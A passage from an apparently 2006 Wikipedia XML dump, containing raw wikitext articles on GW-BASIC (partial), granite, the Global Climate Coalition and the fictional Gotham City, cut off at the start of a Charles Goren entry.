There is little support for [[structured programming]] in GW-BASIC and therefore it is very much up to GW-BASIC programmers, themselves, to provide a good structure for their programs. All &lt;code&gt;IF/THEN/ELSE&lt;/code&gt; [[conditional statement]]s must be written on one line, although &lt;code&gt;WHILE/WEND&lt;/code&gt; statements may group multiple lines. [[subroutine|Functions]] can only be defined using the single line &lt;code&gt;DEF FNf(x)=&lt;/code&gt;&lt;mathematical function of x&gt; statement (e.g., &lt;code&gt;DEF FNLOG(base,number)=LOG(number)/LOG(base)&lt;/code&gt;). [[Variable]]s are often typed via a type symbol at the end of their name: &lt;code&gt;A$&lt;/code&gt; is a [[literal string|string]], &lt;code&gt;A%&lt;/code&gt; is an [[integer]], etc. Groups of undeclared variables can also be set to default types based on the initial letter of their name by use of the &lt;code&gt;DEFINT, DEFSTR&lt;/code&gt;, etc., statements.  The default type for undeclared variables not identified by such typing statements, is single-precision [[floating-point]].

Because many GW-BASIC programmers were without formal training, they often failed to see the need for simple structuring and as a result made extensive, undisciplined use of &lt;code&gt;[[GOTO]]s&lt;/code&gt; rather than using them as replacements for the missing structural statements.  See [[spaghetti code]].

GW-BASIC allowed for the [[joystick]]s and [[pen-input]] devices of its time, but not for [[computer mouse|mice]]. (It is possible to use pen-input commands for mice, but the reliability of the mouse responding properly to pen requests is poor.) GW-BASIC can read from and write to files, [[LPT port]]s, and [[Serial port|COM port]]s; it can also do event trapping for ports. It cannot handle [[tape device]]s. It is able to play simple sheet music using the &lt;code&gt;PLAY&lt;/code&gt; statement, requiring a [[literal string|string]] of notes (e.g. &lt;code&gt;PLAY &quot;edcdeee2dfedc4&quot;&lt;/code&gt;).  More low-level control is possible with the &lt;code&gt;SOUND&lt;/code&gt; statement, which takes the arguments of a frequency in [[hertz]] and a length in clock ticks for the standard internal [[PC speaker]] in IBM machines.  Consequently sound is limited to single channel beeps and whistles as befits a 'business' machine.

GW-BASIC's place in the [[MS-DOS]] distribution was eventually taken by [[Microsoft]] [[QBasic programming language|QBASIC]], a cut-down version of the separately available [[Microsoft QuickBASIC compiler]]. GW-BASIC's main advantage over BASICA was that it did not require a BASIC interpreter on the ROM and so could be used on non-IBM PCs.

The initials &quot;GW&quot; may have been named after [[Greg Whitten]], an early Microsoft employee who developed the standards in the Microsoft basic compiler line. It is also purported to stand for gee-whiz. Greg Whitten is not certain on this matter. [http://classiccmp.org/pipermail/cctech/2005-April/043002.html]
An alternative theory is that &quot;GW&quot; stands for &quot;[[Bill Gates|Gates, William]]&quot;. [http://classiccmp.org/pipermail/cctech/2005-April/042967.html] Another common expansion is &quot;Graphics and Windows&quot;, as neither feature was supported by BASICA.

==See also==
* [[Microsoft BASICA]]
* [[QBasic]]
* [[QuickBASIC]]

==External links==
*[http://www.geocities.com/KindlyRat/GWBASIC.html hints and downloads for GW-BASIC]
*[http://scottserver.net/basically/geewhiz.html GW-BASIC utilities and games]

[[Category:Microsoft BASIC|Gw-BASIC]]
[[Category:BASIC dialects|Gw-BASIC]]

[[de:GWBasic]]
[[it:GW-BASIC]]
[[ko:GW-BASIC]]
[[pl:GW BASIC]]
[[sv:GW-Basic]]
[[tr:GWBasic]]
[[zh:GW-BASIC]]</text>
    </revision>
  </page>
  <page>
    <title>Granite</title>
    <id>13088</id>
    <revision>
      <id>41756998</id>
      <timestamp>2006-03-01T14:57:28Z</timestamp>
      <contributor>
        <username>Ethan Mitchell</username>
        <id>395036</id>
      </contributor>
      <comment>Content</comment>
      <text xml:space="preserve">[[Image:granite_for_temple.jpg|thumb|250px|Quarrying granite for the Mormon Temple, Utah Territory. The ground is strewn with boulders and detached masses of granite, which have fallen from the walls of [[Little Cottonwood Canyon]]. The quarrying consists of splitting up the blocks.]]
'''Granite''' is a common and widely-occurring type of [[Intrusion (geology)|intrusive]] [[felsic]] [[igneous rock|igneous]] [[rock (geology)|rock]].

Granites are usually a white or buff colour and are medium to coarse [[grain size|grained]], occasionally with some individual crystals larger than the groundmass forming a rock known as [[Porphyry (geology)|porphyry]]. Granites can be pink to dark grey or even black, depending on their chemistry and mineralogy. 

Outcrops of granite tend to form [[tor]]s, rounded massifs, and terrains of rounded boulders cropping out of flat, sandy soils. Granites sometimes occur in circular depressions surrounded by a range of hills, formed by the [[metamorphic]] [[aureole]] or [[hornfels]]. 

Granite is nearly always massive, hard and tough, and it is for this reason it has gained widespread use as a construction stone. 

The average [[density]] of granite is 2.75 g/cm&lt;sup&gt;3&lt;/sup&gt;; with a range of 1.74 to 2.80.

The word granite comes from the [[Latin]] ''granum'', a grain, in reference to the coarse-grained structure of such a [[crystal]]line rock.

==Mineralogy==
Granite primarily consists of [[orthoclase]] and [[plagioclase]] [[feldspar]]s, [[quartz]], [[hornblende]], [[biotite]], [[muscovite]] and minor accessory minerals such as [[magnetite]], [[garnet]], [[zircon]] and [[apatite]]. Rarely, a [[pyroxene]] is present. 

Granite is classified according to the [[QAPF diagram]] for coarse grained plutonic rocks (granitoids) and is named according to the percentage of Quartz, Alkali feldspar (orthoclase) and Plagioclase Feldspar on the A-Q-P half of the diagram. Highly peralkaline forms of granite which are silica undersaturated may have a [[feldspathoid]] such as [[nepheline]], and are classified on the A-F-P half of the diagram. See Figure 1, below. 
[[Image:QAPF diagram granite.svg|450px|right|thumb|Figure 1. QAPF diagram of granitoids and phaneritic foidolites (plutonic rocks).]]
True granite according to modern petrology contains both plagioclase and orthoclase feldspars. When a granitoid is devoid of orthoclase the rock is referred to as alkali granite or ''adamellite''. When a granitoid contains &lt;5% orthoclase it is known as a granodiorite, or [[tonalite]] when pyroxene is present. 

A granite containing both muscovite and biotite [[mica]]s is called a binary or ''two-mica'' granite. Two-mica granites are typically high in potassium and low in plagioclase, and are usually S-type granites or A-type granites. 

The extrusive equivalent of [[plutonic]] granite rock is called [[Rhyolite]].

==Occurrence==
Granite occurs as relatively small, less than 100 km&lt;sup&gt;2&lt;/sup&gt; stock-like masses and as large [[batholith]]s often associated with [[orogeny|orogenic]] [[mountain]] ranges and is frequently of great extent. Small [[dike (geology)|dikes]] of granitic composition called [[aplite]]s are associated with granite margins. In some locations very coarse-grained [[pegmatite]] masses occur with granite. 

Granite has been intruded into the [[Crust (geology)|crust]] of the [[Earth]] during all [[Geologic ages|geologic periods]]; much of it is of [[Precambrian]] age. Granite is widely distributed throughout the [[continental crust]] of the Earth and is the most abundant ''basement rock'' that underlies the relatively thin [[sedimentary rock|sedimentary]] veneer of the continents.

==Origin==
Granite is an [[igneous]] rock, and is formed from magma. Granite magma has many potential origins but it must intrude other rocks. Most granite intrusions are emplaced at depth within the crust, usually greater than 1.5 kilometres and up to 50km depth within thick continental crust.&lt;br&gt;

The origin of granite is contentious and has led to varied schemes of classification. The 'alphabet soup' scheme of Chappel &amp; White was proposed initially to divide granites into ''I-type'' granite (or [[igneous]] protolith) granite and ''S-type'' or sedimentary [[protolith]] granite. Both of these types of granite are formed by melting of high grade [[metamorphic]] rocks, either other granite or depleted mantle, or buried and subducted sediment, respectively. &lt;br&gt;
M-type or [[mantle]] derived granite was proposed later, to cover those granites which were clearly sourced from crystallised [[mafic]] magmas, generally sourced from the mantle. These are rare, because it is difficult to turn [[basalt]] into granite via [[fractional crystallisation]]. &lt;br&gt;
A-type or ''anorogenic'' granites are formed above [[hot spot]] activity and have peculiar mineralogy and [[geochemistry]]. These granites are formed by melting of the lower [[crust]] under conditions which are usually too dry. The granite [[caldera]] of [[Yellowstone]] National Park is an example of an A-type granite. &lt;br&gt;&lt;br&gt;

Classification schemes are regional; there is a French scheme, a British scheme and an American scheme. This confusion arises because the classification schemes define granite by different means. Generally the 'alphabet-soup' classification is used because it classifies based on genesis or origin of the melt. &lt;br&gt;&lt;br&gt;

The granitization theory states that granite is formed in place by extreme [[metamorphism]]. The production of granite by metamorphic heat is difficult, but is observed to occur in certain [[amphibolite]] and [[granulite]] terrains. In-situ granitisation or melting by metamorphism is difficult to recognise except where [[leucosome]] and [[melanosome]] textures are present in [[gneiss]]es. Once a metamorphic rock is melted it is no longer a metamorphic rock and is a magma, so these rocks are seen as a transitional between the two, but are not technically granite as they do not actually intrude into other rocks.
In all cases, melting of solid rock requires temperature, and also [[water]] which acts like a [[catalyst]] by lowering the [[solidus]] temperature of the rock. 

==Emplacement mechanisms==
The problem of emplacing large volumes of molten rock within the solid Earth has faced geologists for over a century, and is not entirely resolved. Granite magma must make room for itself or be intruded into other rocks in order to form an intrusion, and several mechanisms have been proposed to explain how large batholiths have been emplaced. 
* Stoping, where the granite cracks the wall rocks and pushes upwards as it removes blocks of the overlying crust
* [[Diapir|Diapirism]] where the density of the lighter granite causes relative buoyancy and the granite pushes upwards, warping and folding the rock above it
* Assimilation, where the granite melts its way up into the crust and removes overlying material in this way
* Inflation, where the granite body inflates under pressure and is injected into position

Most geologists today accept that a combination of these phenomenon can be used to explain granite intrusions, and that not all granites can be explained by one or another mechanism.

==Uses==
===Antiquity===
The [[Red Pyramid]] of [[Ancient Egypt]] (c.[[26th century BC]]), named for the light crimson hue of its exposed granite surfaces, is the third largest of [[Egyptian pyramids]]. [[Menkaure's Pyramid]], likely dating to the same era, was constructed of [[limestone]] and granite blocks. The [[Great Pyramid of Giza]] (c.[[26th century BC|2580 BC]]) contains a huge granite [[sarcophagus]] fashioned of &quot;Red [[Aswan]] Granite.&quot; The mostly ruined [[Black Pyramid]] dating from the reign of [[Amenemhat III]] once had a polished granite [[pyramidion]] or capstone, now on display in the main hall of the [[Egyptian Museum]] in [[Cairo]] (see [[Dahshur]]). Other uses in [[Ancient Egypt]], [http://www.eeescience.utoledo.edu/Faculty/Harrell/Egypt/Mosques/CAIRO_Rocks_1.htm] include [[column]]s, door [[lintel]]s, [[sill]]s, [[jamb]]s, and wall and floor [[veneer]].

How the Egyptians worked the solid granite is still a matter of debate. Dr. Patrick Hunt [http://hebsed.home.comcast.net/hunt.htm] has postulated that the Egyptians used [[Emery (mineral)|emery]] shown to have higher [[Hardenability|hardness]] on the [[Mohs scale of mineral hardness|Mohs scale]].

===Modern===
Granite has been extensively used as a dimension stone and as flooring tiles in public and commercial buildings and monuments. With increasingly [[acid rain]] in parts of the world, granite has begun to supplant marble as a monument material, since it is much more durable.  Polished granite has been a popular choice for [[kitchen]] countertops due to its high durability and aesthetic qualities.

[[Engineers]] have traditionally used polished granite surfaces to establish a [[plane]] of reference, since they are relatively impervious and inflexible.

In the world of sports, [[curling]] rocks are traditionally fashioned of granite.

&lt;center&gt; &lt;gallery&gt;
Image:Granite azul noce.jpg|&lt;center&gt;Azul Noce ([[Spain]])&lt;/center&gt;
Image:Granite giallo.jpg|&lt;center&gt;Giallo Veneziano ([[Brazil]])&lt;/center&gt;
Image:Granite_gran_violet.jpg|&lt;center&gt;Gran Violet ([[Brazil]])&lt;/center&gt;
Image:Granite lavanda blue.jpg|&lt;center&gt;Lavanda Blue ([[Brazil]])&lt;/center&gt; &lt;/gallery&gt; &lt;/center&gt;

==See also==
* [[List of minerals]]
* [[List of rocks]]
* [[Igneous rocks]]
* [[Skarn]]
* [[Greisen]]
* [[Aplite]]

==External links==
{{Commons|Granite}}
*[http://www.geologynet.com/granite1.htm The Emplacement and Origin of Granite]

[[Category:Igneous rocks]]
[[Category:Granite domes]]
[[Category:Stone]]

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    </revision>
  </page>
  <page>
    <title>Global Climate Coalition</title>
    <id>13089</id>
    <revision>
      <id>36958023</id>
      <timestamp>2006-01-27T16:21:09Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <minor />
      <comment>Bringing &quot;External links&quot; and &quot;See also&quot; sections in line with the [[Wikipedia:Manual of Style|Manual of Style]].</comment>
      <text xml:space="preserve">The '''Global Climate Coalition''' was a group of mainly [[United States]] businesses opposing immediate action to reduce [[greenhouse gas]] emissions.  The group formed as a response to several reports from the [[Intergovernmental Panel on Climate Change]].  A major scientific report on the severity of [[global warming]] by the IPCC in [[2001]] led to large-scale membership loss.  Since [[2002]] the GCC has been dormant, or in its own words, &quot;deactivated&quot;.

It says of itself:

: ''The Global Climate Coalition has been deactivated.  The industry voice on climate change has served its purpose by contributing to a new national approach to global warming'' [http://www.globalclimate.org/].

[[Benjamin D. Santer]] wrote:
:&quot;The Global Climate Coalition - a less than disinterested party - has made serious allegations regarding the scientific integrity of the Lead Authors of Chapter 8, and of the IPCC process itself.&quot; (Source: [http://www.sepp.org/ipcccont/Item08.htm E-mail correspondence between S. Fred Singer and Ben Santer])

== Prominent members (to 1997) ==
* [[Exxon]]
* [[Ford]]
* [[Royal Dutch Shell|Royal Dutch/Shell]]
* [[Texaco]]
* [[BP|British Petroleum]]
* [[General Motors]]
* [[DaimlerChrysler]]

Between 1997 and the Coalition's deactivation in 2001, a number of its members left, as part of their move to acknowledge global warming and attempt to reduce their carbon emissions (see [[Business action on climate change]]). Dupont and British Petroleum left in 1997, Royal Dutch/Shell in 1998, Ford in 1999, and DaimlerChrysler, General Motors, and Texaco in 2000.

==External links==
* http://www.globalclimate.org/ - GCC homepage
* John Vidal, ''[[The Guardian]]'', [[June 8]], 2005, [http://www.guardian.co.uk/climatechange/story/0,12374,1501646,00.html &quot;Revealed: how oil giant influenced Bush: White House sought advice from Exxon on Kyoto stance&quot;] 
* Bob May, [[The Guardian]], [[27 January]] [[2005]], &quot;Under-informed, over here&quot; [http://www.guardian.co.uk/life/lastword/story/0,13228,1398885,00.html]

[[Category:Astroturf groups]]
[[Category:Defunct climate change organizations]]</text>
    </revision>
  </page>
  <page>
    <title>Gotham City</title>
    <id>13090</id>
    <revision>
      <id>42090965</id>
      <timestamp>2006-03-03T19:42:19Z</timestamp>
      <contributor>
        <ip>130.184.211.146</ip>
      </contributor>
      <comment>/* Recent events */</comment>
      <text xml:space="preserve">{{dablink|For other meanings of '''Gotham''', see [[Gotham]].}}

[[Image:Gotham_skyline.JPG|right|thumbnail|250px|Gotham City's [[skyline]], as it appears in the 1989 ''Batman'' movie.]]
'''Gotham City''' is a [[fictional cities|fictional city]] appearing in [[DC Comics]], and is best known as the home of [[Batman]]. Batman's place of residence was first identified as Gotham City in [[Detective Comics]] #48 (February 1941); before then, Batman's adventures happened in either [[New York, New York|New York City]] or an unnamed city. Gotham is known to be architecturally modeled after New York or [[Chicago, Illinois]], but with more exaggerated vices.  The name [[Gotham]] is an old nickname of New York.

In terms of how Gotham City's atmosphere is usually depicted, it has been said by some that, metaphorically, [[Metropolis (Superman)|Metropolis]] (home to [[Superman]]) is &quot;New York during the day,&quot; and Gotham is &quot;New York at night.&quot;  This comparison is helped by the fact that Metropolis is more often seen during the day, and Gotham more at night. Longtime Batman writer and editor [[Dennis O'Neil]] has also said figuratively that Metropolis is New York above 14th St. on a sunny summer day, and that Gotham City is New York below 14th St. on a cold, rainy November night. Within the comics themselves, however, New York, Metropolis and Gotham City all exist as separate cities.

Gotham City's atmosphere took on a lighter tone in the comics of the 1950s and part of the 1960s, similar to the tone of Batman stories of that era; by the early 1970s, however, Gotham's tone (and the Batman stories themselves) had become grittier.

==History==
According to ''[[Swamp Thing]]'' #53 (and various subsequent [[comic book]] stories), Gotham City was founded in 1635 [[Swedish colonization of the Americas|by a Swedish]] mercenary and was later taken over by the [[Kingdom of Great Britain]]. This loosly mirrors the history of New York, which was founded by the Dutch and taken over by the British. During the [[American Revolutionary War]] it was the site of a major battle and various [[occult]] rites were rumored to have been conducted within the city. Perhaps for these reasons Gotham is a dark and foreboding place rife with crime, grime, and corruption. Despite this, Gotham City has maintained a thriving economy and is considered a major economic center of activity.

===Architecture===
[[Image:Merry_christmas,_from_gotham_city.JPG|right|thumbnail|250px|Gotham during [[Christmas]], as seen in ''[[Batman Returns]]''.]] 
The unique architecture of Gotham City can be traced back to Judge Solomon Wayne during the pre-[[American Civil War]] era.  Wayne's entrepreneurial skills made him a leading citizen in Gotham, starting a dozen businesses including the Gotham Buggy Whip Works.  His campaign to reform Gotham came to a head when he met Cyrus Pinkney, a young architect looking for a commission.  After the promotion of Pinkney's designs in the Property Holders Association, Wayne commissioned the first &quot;Gotham Style&quot; structures to be built in what is now the center of the city's financial district.  Despite mixed reviews from critics, the [[Gothic architecture]] became a focal point for a thriving commercial center.  Wayne and Pinkney would raise a dozen similar buildings in the years that followed, as Gotham took on a new face that would make it famous the world over.

===GCPD and corruption===
&lt;!-- Image with unknown copyright status removed: [[Image:GCPD.JPG|right|thumbnail|250px|A Gotham City Police Department (GCPD) promotional poster.]] --&gt;
In addition to rampant [[organized crime]] activity in the city, the [[Gotham City Police Department]] (GCPD) was steeped in corruption up until the late 1980s. The strongest blow against police corruption came in 1986, when an increasing amount of [[conspiracy]] charges, arranged by the intervention of the  mysterious Batman, against Commissioner Gillian Loeb forced him to resign his position.  The Falcone crime family, which had had a stranglehold on Gotham's underground for generations, finally crumbled by the end of the 1980s, when a series of killings shook the structure of the [[mafia]] organization.  After the death of [[Carmine Falcone]] in 1988, the [[Mafia]] lashed out in sloppy, retaliatory crimes, which, in combination with rising [[gang violence]], severely crippled organized crime in Gotham City. Simultaneously, the ebbing presence of corrupt police officers allowed [[James Gordon (comics)|James Gordon]] to become the new [[commissioner]], a man determined to eradicate crime wherever it existed.

===Arkham Asylum===
Numerous costumed maniacs have emerged, necessitating the construction of an [[asylum]] dedicated to the incarceration of the criminally insane (called [[Arkham Asylum]] in homage to the fictional city of [[Arkham]], [[Massachusetts]] in the works of [[H. P. Lovecraft]], whose stories often included forbidding and decrepit [[New England]] cities with histories of occult practices and other evils).  The origins of the asylum have been traced back to 1920, when [[Psychiatry|psychiatrist]] Amadeus Arkham converted his estate into a mental health institution.  Dr. Arkham studied under [[Carl Jung]], interviewed [[Aleister Crowley]] during a trip to Europe and pioneered several key concepts in [[criminal psychology]].  Unfortunately, a series of personal tragedies caused Dr. Arkham's mental deterioration.  At the start of the [[Great Depression]] in 1929, Amadeus was incarcerated for assaulting his [[stock broker]]. He died years later, imprisoned in the asylum he created.  His nephew, Jeremiah Arkham, currently runs the asylum, and oversaw its reconstruction in 1992, and its movement to the Mercey House in 1995.  Unfortunately the asylum has rarely managed to cure or keep its various insane inmates for long.

===Recent events===
In the late 1990s, Gotham City suffered from an artificially created [[epidemic]], and was given its most devastating blow when an [[earthquake]] (measuring 7.6 on the [[Richter Scale]]) struck the city in 1998, resulting in untold property damage and, according to ''[[Adventures of Superman]]'' # 648, 5,057 dead at last recorded count.  After much political controversy, a federal edict cut off the city from the rest of the [[United States]], with most of Gotham's residents evacuating in the process. After a full year as a federally proclaimed &quot;[[No Man's Land (comics)|no man's land]],&quot; the reconstruction of the city was initiated by privately owned businesses, and later taken over by the Federal Works Projects. Old landmarks were painstakingly restored or recreated in tribute to the city's rich history. New buildings were erected, in addition to the completion of the Gotham Rapid Transit System, which included the longest independently operated [[monorail]] system in the world. Gotham thus regained its identity, and remains today as one of the greatest cities in the world.

Additionally, [[James Gordon (comics)|James Gordon]] retired from service as Gotham's police commissioner.  He currently is a law professor at Gotham University.  He has been succeeded by the new police commissioner, [[Michael Akins]]. However, the status quo was recently restored during the One Year Later event, and James Gordon is now once again Commissioner, serving his third stint in the position.

==Mayors==
A list of Gotham City's [[mayor|mayors]], in chronological order from earliest to latest:

* Hamilton Hill &amp;mdash; before [[KnightSaga]]
* Armand Krol &amp;mdash; early 1990s; during KnightSaga; lost election to Grange; later died from the Clench virus unleashed by [[Ra's al Ghul]] in the &quot;Legacy&quot; storyline
* Marion Grange &amp;mdash; late 1990s; failed to prevent the [[federal government]] from declaring [[No Man's Land (comics)|No Man's Land]] before being assassinated by agents of [[Nick Scratch(DC Comics)|Nick Scratch]].
* Daniel Danforth Dickerson III &amp;mdash; early 2000s; elected mayor following No Man's Land; [[political corruption|corrupt]]; [[assassin]]ated by the [[Joker (comics)|Joker]]
* David Hull &amp;mdash; current

William Borg was the mayor in the 1989 ''[[Batman (film)|Batman]]'' film.
Hamilton Hill was the mayor in ''[[Batman: The Animated Series]]''.
Marion Grange is the mayor in the ''[[The Batman (TV series) |The Batman]]''

==Residents==
One of Gotham City's most famous residents is [[Batman|Bruce Wayne]], [[CEO]] of Wayne Enterprises and noted [[philanthropist]] and [[playboy]].

A number of heroes associated with Batman have operated in Gotham City.  These include several youths in the role of [[Robin (comics)|Robin]] (Batman's [[sidekick]]), [[Nightwing]] (the original Robin [[Dick Grayson]]'s adult superhero identity), [[Batgirl]] and [[Huntress (comics)|The Huntress]].
 
Apart from Gotham's [[superhero]] residents, the residents of the city were featured in a back up series in ''[[Detective Comics]]'', &quot;Tales of Gotham City&quot; and in two [[limited series]] called ''Gotham Nights''.  In addition, the Gotham City Police Department is the focus of its own series, ''[[Gotham Central]]''.

Other [[DC Comics]] characters outside the Batman-related titles also reside in Gotham City.  [[Alan Scott]], the [[Golden Age of Comics|Golden Age]] [[Green Lantern]], is based there and [[Plastic Man]] has been said to operate out of Gotham City as well. The original [[Black Canary]] was shown as residing in Gotham in the [[Justice Society of America]] series, and in later years, her daughter resided there during much of the [[Birds of Prey (comics)|Birds of Prey]] series. In the original [[Justice League|Justice League of America]] series, it was revealed that [[Zatara]] and [[Zatanna]] also resided in a mansion known as Shadowcrest, located in Gotham. Tommy Monaghan, the title character from the [[Garth Ennis]] comic-book series ''[[Hitman (comics)|Hitman]]'', is a hired killer from Gotham's &quot;Cauldron&quot; neighborhood.  Also operating in Gotham City is the superhero team [[Section 8 (comics)|Section 8]].

==Notable areas, landmarks, institutions and businesses==
In addition to Arkham Asylum, other major facets of Gotham City seen in Batman comics include:

* Blackgate Maximum Security Penitentiary – the city’s main [[prison]], located on Blackgate Isle.
* Brentwood Academy – a privately run [[high school]] once attended by Tim Drake ([[Robin (comics)|Robin III]]).
* The Clocktower – A tower in central Gotham which once located the secret headquarters of [[Oracle (comics)|Barbara Gordon]], currently known as Oracle.
* Crime Alley – Formally &quot;Park Row,&quot; Crime Alley is a small side street, located in the East End, where Thomas and Martha Wayne were killed by [[Joe Chill]] during [[Bruce Wayne]]'s youth, after the family had visited a [[movie theater|cinema]].  It is a dangerous, [[crime]]-infested area. In [[post-Crisis]] comic continuity, this is also the location where Batman first met [[Jason Todd]], when he attempted to steal the tires off of the [[Batmobile]].
* The East End – an underdeveloped part of town, where poverty and crime are widespread (in the 2005 movie ''[[Batman Begins]]'' a similar type of area in Gotham is referred to as ''The Narrows''). Some comics writers occasionally conflate the East End together with Crime Alley.
* Finnigan's - a bar popular with uniformed police officers in Gotham.
* Gotham Heights – The affluent area where Wayne Manor is located. Also known as &quot;Bristol&quot; and/or &quot;Crest Hill&quot;, due to mutual proximity of the three neighbourhoods of those names.
* Gotham County High School - A public high school once attended by Tim Drake ([[Robin (comics)|Robin III]]).
* Grand Avenue - Gotham City's version of [[New York City]]'s [[Broadway (New York City)|Broadway]].
* The Iceberg Lounge - a nightclub in the city centre operated by  the [[Penguin (comics)|Penguin]].
* Killinger's Department Store - Large department store similar to ''[[Macy's]]'' in New York.
* Monarch Playing Card Factory - the factory where a costumed criminal named the [[Red Hood]] fell into a vat of chemicals and became the [[Joker (comics)|Joker]].
* My Alibi - a lowlife bar in the city centre.
* Robinson Park – The city’s main park (named after 1940s Batman artist and [[Joker (comics)|Joker]] co-creator [[Jerry Robinson]], as were Robinson Square and Robinson Plaza)
* The Statue of Justice - also known as &quot;Lady Gotham&quot;, modelled loosely on the [[Statue of Liberty]] in New York, modified with a blindfold over her eyes, and a sword and scales in her outstretched hands. ''In Batman: The Animated Series'', the statue is shown holding a shield and a torch.
* &quot;Toxic Acres&quot; - An abandoned neighborhood of newly built houses, unsuitable for habitation due to its proximity to a toxic waste dump. Gas masks and/or antivenom is required to prevent illness while staying. Toxic Acres was a onetime hideout for [[Poison Ivy (comics)|Poison Ivy]] and [[Harley Quinn]].
* Wayne Manor – sometimes referred to as ''Wayne Mansion'' or ''Stately Wayne Manor''. The [[mansion]] estate of Bruce Wayne, and the location of the [[Batcave]].
* Wayne Tower – Headquarters of Wayne Enterprises. Located at the corner of Finger and Broome Streets (named after comic creators [[Bill Finger]] and [[John Broome (writer)|John Broome]]). 
* ''Zesti Cola'' - the soft drink of choice in Gotham. ''Coka Cola'' is also a popular beverage.

Many other areas and landmarks have been referred to more inconsistently in the comics and most are named in homage to important Batman creators. These include: 
* Aparo Park and Aparo Expressway - (named after artist [[Jim Aparo]])
* Barr Town - (named for writer [[Mike W. Barr]])
* Archie Goodwin International Airport (named after writer and editor [[Archie Goodwin]])
* Cape Carmine - (named after artist [[Carmine Infantino]])
* Davis Avenue - (named for artist [[Alan Davis]])
* Dixon Dock - (named after writer [[Chuck Dixon]])
* Finger River - (named after Batman co-creator [[Bill Finger]])
* Finger Memorial Park - (Named after Batman co-creator [[Bill Finger]])
* Grant Park - (named after writer [[Alan Grant]])
* Miller Harbour - (named after writer/artist [[Frank Miller]]) 
* Novick Tunnel - (named after artist [[Irv Novick]])
* Robbinsville – (named after artist [[Jerry Robinson]])
* R.H. Kane Building and the Robert Kane Memorial Bridge - (named after Batman co-creator [[Bob Kane]])
* Sprang Bridge and the Sprang River - (named after artist [[Dick Sprang]])
* The Westward Bridge - (named after the ''[[Batman (TV series)|Batman]]'' live-action TV series' actors [[Adam West]] and [[Burt Ward]]).

Gotham City is a major economic center within the [[DC Universe]]'s United States; its important industries include manufacturing, [[shipping]], finance, [[fine arts]] (with its numerous museums, galleries, and jewelry displays), and the production of giant novelty props. In addition to a commercial [[seaport]], there is also a [[naval shipyard]].

Major businesses based in Gotham City include its most noteworthy corporation, Wayne Enterprises, which specializes in various industrial aspects and advanced technological research and development.

Noteworthy [[newspapers]] in Gotham City include the ''Gotham Gazette''. In the [[Silver Age of Comics|Silver Age]] comics, the [[editor-in-chief]] of Metropolis newspaper the ''[[Daily Planet]]'', [[Perry White]], had once worked for the ''Gazette'' early in his career.

==Geography==
[[Image:Gothammap.jpg|right|thumbnail|250px|One possible map of Gotham]]
Several maps of Gotham City have been produced over the years. Many of them are directly based on [[Manhattan]] and other real coastlines, and others are completely original. One map showing Gotham City in relation to [[Metropolis (comics)|Metropolis]] (the home of [[Superman]]), published in ''[[New Adventures of Superboy|Superboy]]'' #22 (October 1981), placed Gotham City and Metropolis on opposite sides of a large bay. Another map of Gotham City pictured in ''[[Swamp Thing]]'' (volume 2) #53 (October 1986) was directly based on the geography of [[Rhode Island]]. A map of Gotham City used in the 1989 film ''[[Batman (1989 movie)|Batman]]'' was actually an inverted map of [[Vancouver, British Columbia]], [[Canada]] (in the same movie, a map of the Axis Chemical plant was actually a map of the Capitol Hill neighbourhood in [[Burnaby, British Columbia]], Canada). The current definitive maps of Gotham City are those based on the ones produced for the &quot;[[No Man's Land (comics)|No Man's Land]]&quot; story arc. 

Gotham City's location has, like other [[fictional city|fictional cities]] in the [[DC Universe]], varied over the decades, due to the capricious nature of the various writers, editors and storylines. At various times, Gotham was depicted as being on the shores of &quot;Lake Gotham.&quot; The majority of appearances place Gotham as being on the east coast of the United States, however.

Current ''Batman'' comics state that Gotham City is located in [[New Jersey]], with recent maps closely following the geography of southern [[Ocean County, New Jersey|Ocean County]], with Gotham City's location nearly matching that of the [[Mystic Island, New Jersey|Mystic Island]] section of [[Little Egg Harbor Township, New Jersey|Little Egg Harbor Township]].

In the 1997 film ''[[Batman and Robin]]'' in which the co-villan, [[Mr. Freeze]], attempts to encapsulate the city in a block of ice using a giant laser, the targeting screen locates Gotham somewhere on the [[New England]] shoreline, possibly as far north as [[Maine]]. 

The 2005 film ''[[Batman Begins]]'' places Gotham somewhere near the American east coast, as [[Alfred]] comments that the caverns beneath Wayne Manor that are to be converted into the Batcave were once used by a Wayne ancestor to hide escaping slaves in the [[Underground Railroad]].  In addition, various camera shots reveal a geography similar to but not the same as [[New York City]].

The 1990s ''[[Batman: The Animated Series]]'' depicted a driver's license of a Gotham area resident, listing his hometown as &quot;Gotham Estates, [[New York (state)|NY]]&quot; (as seen in the first season episode ''Joker's Favor''). This implies that Gotham City borders or is within the state of New York, and has [[suburbs]](such as Gotham Estates) within [[commuting]] distance.

In another episode of ''Batman: The Animated Series'', however, it is implied that Gotham resides in a state of the same name, as a prison workshop was shown stamping license plates that read &quot;Gotham -The [[Dark Deco]] State&quot; (in reference to the artistic style of the series).

The ''Batman: The Animated Series'' episode &quot;Harlequinade&quot; states that Gotham City has a population of approximately 10 million people.

The distance between Gotham City and Metropolis has varied over the years, with the two cities having been shown as everywhere from being hundreds of miles apart to being [[twin cities]] on opposite sides of a large [[Bay (aquatic)|bay]]. [[Blüdhaven]], a city that's the current home of [[Nightwing]], is located near Gotham City.

==Sources==
* Brady, Matthew and Williams, Dwight. Daily Planet Guide to Gotham City. Honesdale, Pennsylvania: West End Games under license from DC Comics, 2000.
* Brown, Eliot.  &quot;Gotham City Skyline.&quot;  Secret Files &amp; Origins Guide to the DC Universe 2000.  New York:  DC Comics, 2000.
* Grant, Alan.  &quot;The Last Arkham.&quot;  Batman:  Shadow of the Bat 1.  New York:  DC Comics, 1992.
* Loeb, Jeph.  Batman:  The Long Halloween.  New York:  DC Comics, 1997.
* Miller, Frank.  Batman:  Year One.  New York:  DC Comics, 1988.
* Morrison, Grant.  Arkham Asylum.  New York:  DC Comics, 1990.
* O'Neil, Dennis.  &quot;Destroyer.&quot;  Batman:  Legends of the Dark Knight 27.  New York:  DC Comics, 1992.


[[Category:Batman]]
[[Category:DC Comics locations]]
[[Category:Fictional towns and cities]]

[[es:Ciudad Gótica]]
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[[zh:高譚市]]</text>
    </revision>
  </page>
  <page>
    <title>Charles Goren</title>
    <id>13092</id>
    <revision>
      <id>39167556</id>
      <timestamp>2006-02-11T04:06:39Z</timestamp>
      <contributor>
        <ip>24.226.10.98</ip>
      </contributor>
